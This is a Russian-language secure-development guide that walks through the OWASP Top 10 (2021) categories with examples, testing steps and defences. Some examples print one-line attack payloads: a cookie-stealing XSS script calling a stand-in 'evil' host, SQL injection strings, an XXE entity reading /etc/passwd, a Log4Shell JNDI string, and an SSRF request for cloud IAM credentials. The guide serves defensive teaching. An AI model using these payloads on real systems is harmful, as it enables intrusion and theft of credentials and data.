OWASP Top 10 (2021) на практике: руководство для разработчиков

A01: Broken Access Control (нарушение контроля доступа)

Broken Access Control означает, что приложение не обеспечивает соблюдение того, что разрешено делать аутентифицированному (или анонимному) пользователю. В 2021 году категория поднялась на 1-е место — 94% протестированных приложений имели ту или иную её форму. Она включает IDOR (Insecure Direct Object Reference), отсутствие проверок на уровне функций, принудительный переход по привилегированным URL и подмену JWT или cookie. Первопричина почти всегда — доверие идентификатору или роли от клиента без повторной проверки владельца на сервере при каждом запросе. Контроль доступа должен обеспечиваться на стороне сервера; всё, что может изменить клиент, не является защитой.

• Реальный пример: банковское приложение отдаёт GET /api/accounts/12345/statements. Замена 12345 на 12346 возвращает выписки другого клиента, потому что сервер не проверяет принадлежность счёта пользователю сессии — классический IDOR (CWE-639).
• Проверка: войдите как пользователь A и запросите идентификаторы объектов пользователя B; ответ 200 вместо 403/404 подтверждает уязвимость. Автоматизируйте через Burp Autorize или ручным перебором ID.
• Защита: обеспечивайте владение на сервере — WHERE owner_id = :session_user в каждом запросе, а не только скрытие в UI.
• Защита: запрещайте по умолчанию (deny by default); требуйте явного предоставления прав для каждого ресурса и действия.
• Защита: используйте непредсказуемые идентификаторы (UUIDv4) как эшелонированную защиту, а не саму меру.
• Ссылка: OWASP WSTG-ATHZ, CWE-284/CWE-639; тестируйте горизонтальную и вертикальную эскалацию.

A02: Cryptographic Failures (ошибки криптографии)

Ранее эта категория называлась 'Sensitive Data Exposure' и была переименована, чтобы сфокусироваться на первопричине: ошибках криптографии (или её отсутствии), раскрывающих данные при передаче и хранении. Она охватывает передачу открытым текстом, слабые или устаревшие алгоритмы (MD5, SHA-1, DES, RC4), захардкоженные или повторно используемые ключи, слабую случайность и неправильную проверку сертификатов. Первый вопрос всегда: какие данные требуют защиты по закону (PII, медицинские, платёжные, учётные) и действительно ли они зашифрованы везде, где хранятся и перемещаются?

• Реальный пример: приложение хранит пароли как несолёные хеши MD5. Одна утечка базы позволяет взломать большинство из них за часы с помощью радужных таблиц и перебора на GPU (CWE-916).
• Проверка: проверьте TLS с помощью testssl.sh или SSL Labs — отметьте TLS 1.0/1.1, слабые шифры и отсутствие HSTS. Проверьте код на MD5/SHA1 по секретам и захардкоженные ключи.
• Защита: хешируйте пароли алгоритмом Argon2id (или bcrypt/scrypt), никогда быстрыми хешами общего назначения; используйте уникальную соль для каждого пользователя.
• Защита: требуйте TLS 1.2+ везде, включите HSTS и отключите устаревшие протоколы и наборы шифров.
• Защита: шифруйте чувствительные данные при хранении с помощью AES-256-GCM; управляйте ключами в KMS/HSM, ротируйте их и никогда не помещайте в репозиторий.
• Ссылка: OWASP WSTG-CRYP, ASVS V6 (криптография), V9 (коммуникация); в соответствии с PCI DSS и защитой данных.

A03: Injection (внедрение)

Injection возникает, когда недоверенный ввод интерпретируется как часть команды или запроса — SQL, NoSQL, системная команда, LDAP, ORM или язык выражений. Cross-Site Scripting (XSS) в 2021 году объединили с этой категорией, поскольку это внедрение в контекст HTML/JS браузера. Общий дефект: данные и код используют один канал, и интерпретатор не может их различить. Injection почти полностью предотвратимо через параметризацию, но по-прежнему распространено, потому что конкатенация строк — путь наименьшего сопротивления.

• Реальный пример: запрос, построенный как "SELECT * FROM users WHERE name='" + input + "'", позволяет ввести ' OR '1'='1 для обхода аутентификации, а в худших случаях ; DROP TABLE ... (CWE-89).
• Реальный пример (XSS): поле комментария, отрисованное без кодирования, позволяет выполнить <script>fetch('//evil/'+document.cookie)</script> в браузере каждого читателя (CWE-79).
• Проверка: фаззьте ввод символами ', ", ; и списками нагрузок; используйте sqlmap и статический анализ (Semgrep, CodeQL) для поиска запросов из строк.
• Защита: используйте параметризованные запросы / prepared statements или корректно настроенный ORM — никогда не склеивайте ввод пользователя в запрос.
• Защита (XSS): контекстно-зависимое кодирование вывода, строгая Content-Security-Policy и автоэкранирование фреймворка вместо dangerouslySetInnerHTML.
• Ссылка: OWASP WSTG-INPV, CWE-89/CWE-79/CWE-78.

A04: Insecure Design (небезопасная архитектура)

Insecure Design — новая категория 2021 года, охватывающая изъяны в самой архитектуре или бизнес-логике, а не ошибки реализации. Нельзя «залатать» отсутствующую меру защиты, которую никогда не проектировали. Требуется моделирование угроз, безопасные паттерны проектирования и эталонные архитектуры, применяемые до написания кода. Идеально реализованная функция всё равно может быть небезопасной, если проект не учёл сценарии злоупотребления.

• Реальный пример: интернет-магазин позволяет применить купон неограниченно, потому что проект предполагал одно использование на заказ, но не учёл конкурентные запросы — злоумышленники гонятся при оформлении, чтобы складывать скидки (CWE-840).
• Реальный пример: сброс пароля использует контрольные вопросы («девичья фамилия матери»), которые публично доступны — слабость в самом проекте.
• Проверка: проведите моделирование угроз (STRIDE) для новых функций; для каждого потока спрашивайте «как злоумышленник этим злоупотребит?», а не только «работает ли это?».
• Защита: установите безопасные паттерны проектирования и укреплённую эталонную архитектуру; требуйте моделирование угроз для критичных потоков.
• Защита: пишите тесты злоупотреблений наряду с функциональными; применяйте лимиты, квоты и бизнес-правила на стороне сервера.
• Ссылка: OWASP WSTG-BUSL, ASVS V1 (архитектура), OWASP Threat Modeling.

A05: Security Misconfiguration (небезопасная конфигурация)

Security Misconfiguration охватывает небезопасные настройки по умолчанию, неполные конфигурации, подробные сообщения об ошибках, оставленные включёнными лишние функции, а также непропатченные или дефолтные учётные записи. XML External Entities (XXE) в 2021 году включили в эту категорию. По мере роста настраиваемости систем в облаке, контейнерах и фреймворках ошибки конфигурации стали одной из самых частых находок — одна небезопасная настройка (открытая консоль админа, разрешающая политика CORS) может свести на нет корректный код.

• Реальный пример: bucket S3 или инстанс Elasticsearch оставлены публично читаемыми без аутентификации, раскрывая миллионы записей — повторяющаяся причина крупных утечек (CWE-16/CWE-732).
• Реальный пример (XXE): XML-парсер с включёнными внешними сущностями обрабатывает <!ENTITY xxe SYSTEM 'file:///etc/passwd'>, утекая локальные файлы (CWE-611).
• Проверка: сканируйте инструментами Nuclei, Nikto или сканерами состояния облака (ScoutSuite, Prowler); убедитесь в отсутствии дефолтных учётных данных, листинга каталогов и стек-трейсов в продакшене.
• Защита: укрепляйте по повторяемому автоматизированному эталону (IaC + CIS Benchmarks); удаляйте неиспользуемые функции, порты и демо-приложения.
• Защита: отключите внешние сущности в XML-парсерах; возвращайте обобщённые ошибки, задайте заголовки безопасности (CSP, X-Content-Type-Options, HSTS), ограничьте CORS явными origin.
• Ссылка: OWASP WSTG-CONF, CWE-16; относитесь к конфигурации как к версионируемому, ревьюируемому коду.

A06: Vulnerable and Outdated Components (уязвимые и устаревшие компоненты)

Современные приложения — это в основном сторонний код: библиотеки, фреймворки, среды выполнения и контейнеры. Категория охватывает использование компонентов с известными уязвимостями (CVE), неподдерживаемых или устаревших версий, а также незнание того, что реально запущено. Поскольку компонент работает с полными привилегиями приложения, одна уязвимая зависимость может скомпрометировать всё. Log4Shell (CVE-2021-44228) и утечка Equifax (Apache Struts CVE-2017-5638) происходят из этой категории.

• Реальный пример: приложение поставляется с Log4j 2.14; злоумышленник отправляет значение заголовка ${jndi:ldap://evil/x}, которое запускает удалённое выполнение кода через Log4Shell (CVE-2021-44228).
• Проверка: запускайте анализ состава ПО (SCA) — OWASP Dependency-Check, npm audit, pip-audit или Snyk — в CI и прерывайте сборку при CVE высокой критичности.
• Проверка: формируйте и поддерживайте SBOM (CycloneDX или SPDX), чтобы за минуты ответить «затронуты ли мы?» после нового CVE.
• Защита: удаляйте неиспользуемые зависимости; патчите по заданному SLA; загружайте только из официальных источников с проверкой целостности (lock-файлы, проверка хеша/подписи).
• Защита: предпочитайте активно поддерживаемые библиотеки; относитесь к заброшенным зависимостям как к риску, требующему замены.
• Ссылка: CWE-1104 и OWASP Dependency-Check.

A07: Identification and Authentication Failures (ошибки аутентификации)

Ранее называвшаяся 'Broken Authentication', эта категория охватывает слабости подтверждения личности: credential stuffing, брутфорс, слабые или дефолтные пароли, некорректное управление сессиями и отсутствие многофакторной аутентификации. Если злоумышленник может стать другим пользователем, большинство остальных мер теряют смысл. Управление сессиями — половина дела: надёжный вход мало что значит, если токен предсказуем, не ротируется после входа или не аннулируется при выходе.

• Реальный пример: у API нет ограничения частоты входа, поэтому злоумышленники воспроизводят список утёкших паролей (credential stuffing) и захватывают тысячи аккаунтов с повторно используемыми паролями (CWE-307).
• Реальный пример: идентификаторы сессии передаются в URL и не ротируются после аутентификации, что делает возможной фиксацию сессии (CWE-384).
• Проверка: протестируйте блокировку аккаунта / rate limiting, политику паролей, истечение сессии и ротацию токенов; убедитесь, что MFA нельзя обойти через альтернативный поток.
• Защита: внедрите MFA, проверяйте пароли по спискам утечек (Have I Been Pwned / API k-анонимности), отключите дефолтные учётные данные.
• Защита: проверенный фреймворк сессий; токены высокой энтропии, cookie HttpOnly/Secure/SameSite, ротация при входе, завершение бездействующих сессий, rate limiting.
• Ссылка: OWASP WSTG-ATHN, ASVS V2 (аутентификация) и V3 (сессии).

A08: Software and Data Integrity Failures (нарушения целостности)

Новая категория 2021 года, сфокусированная на коде и инфраструктуре, которые не защищают от нарушений целостности: неподписанные обновления, недоверенная десериализация и скомпрометированные конвейеры CI/CD. Insecure Deserialization из списка 2017 года было включено сюда. Категория стала заметной с атаками на цепочку поставок вроде SolarWinds, где доверенный механизм обновлений доставил вредоносный код. Общий знаменатель — доверие данным, коду или обновлению без проверки их источника и целостности.

• Реальный пример: приложение десериализует объект Java/PHP/Python от пользователя без валидации; подготовленная нагрузка запускает удалённое выполнение кода во время десериализации (CWE-502).
• Реальный пример: конвейер CI загружает сборочный скрипт из незакреплённого, изменяемого источника; компрометация внедряет бэкдор в каждый релиз (CWE-345).
• Проверка: инвентаризируйте все точки десериализации и механизмы автообновления; проверьте CI/CD на неподписанные артефакты и незакреплённые зависимости.
• Защита: избегайте нативной десериализации недоверенных данных — используйте JSON со строгой схемой; если неизбежно, применяйте белые списки типов и проверки целостности.
• Защита: проверяйте цифровые подписи обновлений, зависимостей и плагинов; закрепляйте версии; защитите конвейер (агенты с минимальными привилегиями, защищённые ветки, подписанные коммиты/артефакты — Sigstore/SLSA).
• Ссылка: CWE-502/CWE-829; фреймворк SLSA для цепочки поставок.

A09 и A10: Ошибки логирования/мониторинга и SSRF

A09 Security Logging and Monitoring Failures: без адекватного логирования, обнаружения и реагирования взломы остаются незамеченными — время присутствия злоумышленника измеряется сотнями дней. Охватывает незалогированные события безопасности, логи без деталей, немониторируемые логи и отсутствие оповещений и процесса реагирования. Не эксплуатируется напрямую; её отсутствие позволяет любой другой атаке проходить незамеченной.

A10 Server-Side Request Forgery (SSRF): новая позиция 2021 года, добавленная в основном по опросу сообщества. Возникает, когда приложение загружает удалённый ресурс по URL, который не валидирует, позволяя злоумышленнику заставить сервер делать запросы к непреднамеренным целям — внутренним сервисам, эндпоинтам метаданных облака или произвольным хостам. Особенно опасна в облаке, где сервис метаданных (169.254.169.254) может выдать временные учётные данные.

• A09 пример: злоумышленник неделями подбирает админ-аккаунты; поскольку неудачные входы не логируются и не оповещаются, компрометацию обнаруживают, лишь когда данные появляются в продаже (CWE-778).
• A09 проверка/защита: логируйте входы, отказы контроля доступа и серверные ошибки валидации с контекстом (кто/что/когда/источник), но никогда секреты или полные PII; централизуйте в защищённый от подделки SIEM; определите пороги оповещений (credential stuffing, эскалация, массовый экспорт) и отрабатывайте план реагирования (NIST SP 800-61). ASVS V7.
• A10 пример: функция предпросмотра изображения загружает URL пользователя; злоумышленник отправляет http://169.254.169.254/latest/meta-data/iam/security-credentials/ и похищает учётные данные IAM облака — схема за утечкой Capital One 2019 года (CWE-918).
• A10 проверка: тестируйте каждую функцию загрузки по URL (вебхуки, предпросмотры, импорты, генераторы PDF) с внутренними IP, localhost, IP метаданных облака и альтернативными кодировками/редиректами.
• A10 защита: белый список хостов и схем; отклоняйте внутренние/зарезервированные диапазоны (RFC 1918, link-local, loopback) после разрешения DNS; повторно валидируйте финальный IP против DNS-rebinding; требуйте IMDSv2 и минимальные привилегии роли инстанса.
• Ссылка: A09 OWASP WSTG-BUSL / ASVS V7 / NIST SP 800-61; A10 OWASP WSTG-INPV-19, CWE-918.

Частые вопросы